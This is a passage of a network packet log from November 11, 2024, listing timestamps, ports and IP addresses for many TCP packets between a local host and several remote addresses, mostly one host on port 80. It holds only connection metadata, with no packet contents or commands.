Nov 11, 2024 12:40:29.566915035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.566936970 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.566952944 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567047119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567059040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567071915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567084074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567095995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567100048 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567106962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567117929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567128897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567130089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567141056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567146063 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567153931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567167044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567202091 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567210913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567222118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567233086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567257881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567280054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567282915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567295074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567317963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567320108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567332029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567337990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567346096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567358017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567363024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567370892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567384005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567389011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567394972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567409039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567419052 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567420006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567431927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567434072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567442894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567454100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567460060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567466974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567480087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567492962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567496061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567502022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567504883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567517996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567528963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567538023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567539930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567553997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567559958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567567110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567578077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567580938 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567590952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567601919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567612886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567615986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567625046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567629099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567636967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567648888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567651987 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567661047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567675114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567686081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.567754984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567754984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.567754984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.569365025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569376945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569387913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569399118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569457054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.569457054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.569494963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569506884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569519043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.569565058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.569659948 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.571963072 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.572536945 CET	49911	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.572561026 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.573834896 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.573848963 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.574331045 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.574615002 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.574628115 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.575642109 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.575731993 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.576085091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576102972 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.576169968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576181889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576194048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576205015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576209068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576214075 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.576216936 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576227903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576241016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576242924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576256990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576265097 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576268911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576276064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576320887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576445103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576456070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576466084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576472998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576504946 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576534986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576546907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576556921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576567888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576577902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576581001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576591015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576598883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576626062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576698065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576709986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576721907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576731920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576744080 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576744080 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576750040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576761961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576772928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576786995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576792002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576805115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576812983 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576817036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576828957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576831102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576841116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576850891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576853991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576867104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576869011 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.576879025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576890945 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576894999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576909065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576920033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576924086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576931000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576936007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576942921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576955080 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576961040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576967001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576978922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.576981068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.576991081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577006102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577029943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577064991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577300072 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.577305079 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.577681065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577692986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577703953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577722073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577724934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577733994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577742100 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577745914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577765942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577764988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577780008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577789068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577791929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577804089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577805042 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.577812910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577816010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577826977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577840090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577842951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577851057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577864885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577871084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577881098 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577891111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577903986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577913046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577919960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577924013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577935934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.577939034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577951908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.577986956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578104973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578116894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578126907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578142881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578146935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578155041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578167915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578176022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578180075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578192949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578202963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578206062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578216076 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578247070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578274012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578284979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578294992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578306913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578316927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578329086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578337908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578341007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578353882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578363895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578377962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578396082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578399897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578408957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578419924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578430891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578437090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578450918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578457117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578461885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578468084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578475952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578479052 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.578479052 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578486919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578502893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578527927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578547955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578557968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578594923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578605890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578618050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578629017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578636885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578640938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578655958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578658104 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578670025 CET	49912	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:29.578690052 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578691006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578704119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578706980 CET	443	49912	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:29.578713894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578725100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578736067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578736067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578747034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578759909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578766108 CET	49912	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:29.578769922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578782082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578804016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578811884 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.578825951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.578931093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579025984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579037905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579049110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579060078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579070091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579082012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579085112 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579094887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579104900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579109907 CET	49912	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:29.579113960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579122066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579127073 CET	443	49912	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:29.579133987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579144001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579145908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579155922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579168081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579179049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579184055 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579190969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579195976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579210043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579219103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579229116 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579229116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579247952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579258919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579260111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579272032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579273939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579283953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579288006 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579296112 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.579298973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579309940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579323053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579327106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579338074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579346895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579349995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579361916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579366922 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579374075 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.579375029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579380989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579390049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579397917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579401970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579413891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579423904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579428911 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579437017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579448938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579452038 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579459906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.579463959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.579495907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.582156897 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.582200050 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.582446098 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.584078074 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.585295916 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.585342884 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.585952997 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.591835022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.591968060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.593883038 CET	443	49895	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.593890905 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.593961954 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.593993902 CET	443	49895	13.107.246.45	192.168.2.6
